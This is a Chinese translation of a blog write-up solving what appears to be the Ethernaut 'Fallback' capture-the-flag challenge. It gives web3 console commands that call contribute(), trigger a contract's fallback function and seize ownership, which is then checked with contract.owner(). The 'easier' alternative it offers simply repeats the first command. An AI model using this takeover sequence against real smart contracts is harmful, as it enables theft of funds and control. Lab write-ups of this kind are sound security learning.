本文介绍了如何在与ABI交互时发送以太币,包括使用回退函数和特定支付函数。通过一个挑战示例,展示了如何通过contribute()函数绕过回退函数的条件,最终触发回退函数,并检查是否成功控制了合约。
挑战的最终结果
如何在与 ABI 交互时发送以太币
以下是如何发送交易:
var abi=[//你的abi数组];
var contractAddress = "//你的合约地址";
var contract = web3.eth.contract(abi).at(contractAddress);
Fallback 函数
web3.eth.sendTransaction({from:web3.eth.accounts[X],to:contractAddress , value:web3.utils.toWei('0.0000001','ether')}) //value 是一个例子
特定的 Payable 函数
contract.functionName.sendTransaction(parameter_1,parameter_2,parameter_n,{{from:web3.eth.accounts[X], value:xyz}},function (error, result){ if(!error){
console.log(result);
} else{
console.log(error);
}
});
在 Solidity 中,fallback 函数 是一个没有 名称、参数 或 返回值 的外部函数。它在以下情况之一中执行:
思路是发送一个交易并触发 fallback 函数
我们需要绕过 fallback receive
函数中的这个条件:
require(msg.value > 0 && contributions[msg.sender] > 0);
为此,我们需要使用 contribute()
函数。
我们可以在控制台上这样做
contract.contribute.sendTransaction({from:player,to:contract.address , value:web3.utils.toWei('0.0000001','ether')})
或者你可以这样做(更简单)
contract.contribute.sendTransaction({from:player,to:contract.address , value:web3.utils.toWei('0.0000001','ether')})
发送后,你可以使用 Number(await contract.getContribution())
检查你的贡献。
我们需要执行上述步骤的原因是为了触发 fallback 函数,我们需要有一些贡献。
这样,我们现在可以使用以下命令触发 fallback 函数
sendTransaction({from:player,to:contract.address , value:web3.utils.toWei('0.0000001','ether')})
要检查你是否已经击败了合约,你可以调用 await contract.owner()
并查看它是否是你自己的地址!
谢谢你,我希望你喜欢阅读它!不要忘记鼓掌和关注以获取更多挑战!
- 原文链接: extremelysunnyyk.medium....
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!